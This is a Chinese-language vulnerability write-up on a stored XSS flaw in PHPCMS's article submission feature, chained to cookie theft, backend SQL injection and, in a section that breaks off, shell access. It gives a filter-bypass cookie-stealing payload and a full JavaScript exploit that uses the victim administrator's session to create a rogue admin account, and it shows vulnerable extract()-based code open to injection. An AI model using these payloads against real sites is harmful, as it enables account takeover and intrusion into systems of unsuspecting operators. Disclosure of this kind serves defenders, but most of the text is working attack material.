PHPCMS文章投稿处存在存储型的XSS漏洞,也许当你看到标题的时候,你心里会想:楼主简直太不厚道了,不就一个XSS嘛,标题却来个代码执行...别慌,一个漏洞所造成的威胁,本人觉得并不在于其本身,而在于我们如何将其利用,使之最大化, So...听我细细道来...
#1 首先说下这个漏洞的产生
/phpcms/modules/member/content.php 61行左右
<?
$info = array();
foreach($_POST['info'] as $_k=>$_v){
if(in_array($_k, $fields)) $info[$_k] = new_html_special_chars(trim_script($_v));
}
$_POST['linkurl'] = str_replace(array('"','(',')',",",' '),'',new_html_special_chars($_POST['linkurl']));
//exit($_POST['linkurl']);//上面一行仅简单过滤了"、(、)等,SO可以轻松绕过
$post_fields = array_keys($_POST['info']);
?>
对应的前台:
#2 简单利用之一获取管理员COOKIE
投稿一篇 写入利用代码:
Javascript:%28alert%28document.cookie%29%29
前台效果展示:
管理后台效果展示:
漏洞证明:
#3 简单利用之二添加任意管理员账号
这个我具体没去测试,不过应该可行,给出利用代码(js):
将下面的代码保存为js:
if(top.window.location.href.indexOf("pc_hash=")>0){
var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6);
}
var xmlHttp = null;
var cookie = document.cookie;
var url = "index.php?m=admin&c=admin_manage&a=add";
var urldata = "info%5Busername%5D=test&info%5Bpassword%5D=123456&info%5Bpwdconfirm%5D=123456&info%5Bemail%5D=felixk3y%40qq.com&info%5Brealname%5D=aaa&info%5Broleid%5D=1&dosubmit=%E6%8F%90%E4%BA%A4&pc_hash="+hash;
if(window.ActiveXObject){
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest){
xmlHttp=new XMLHttpRequest();
}
if(xmlHttp!=null){
xmlHttp.onreadystatechange=state_Change;
xmlHttp.open("POST",url,false);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=UTF-8");
xmlHttp.setRequestHeader("Cookie",cookie);
xmlHttp.send(urldata);//不为null时,必须设置Content-Type
}
function state_Change()
{
if(xmlHttp.readyState==4)
{
if (xmlHttp.status==200)
{
//alert(xmlHttp.responseText);
}
}
}
#4 深入利用利用之SQL注入
话说XSS的危害没有SQL注入严重,好吧 我承认.但是由于PHPCMS的后台变量覆盖满天飞,利用变量覆盖造成的SQL注入不是一处两处,利用XSS,我们同样可以让管理员帮我们进行注入,下面随便挑一处进行说明:
/phpcms/modules/admin/log.php 第51行左右
<?
//...
public function search_log() {
$where = '';
extract($_GET['search']); //extract导致变量覆盖,覆盖下面的$where可进行注入
if($username){
$where .= $where ? " AND username='$username'" : " username='$username'";
}
if($module){
$where .= $where ? " AND module='$module'" : " module='$module'";
}
if($start_time && $end_time) {
$start = $start_time;
$end = $end_time;
$where .= "AND `time` >= '$start' AND `time` <= '$end' ";
//...
?>
至于具体利用嘛,可通过js的XMLHttpRequest ,具体就不多说了,都懂的...
#5 深入利用之任意代码执行,GETSHELL
在XSS处插入限制关键词的JavaScript代码,js大至代码如下(js不熟悉,只能写个大概,别见笑):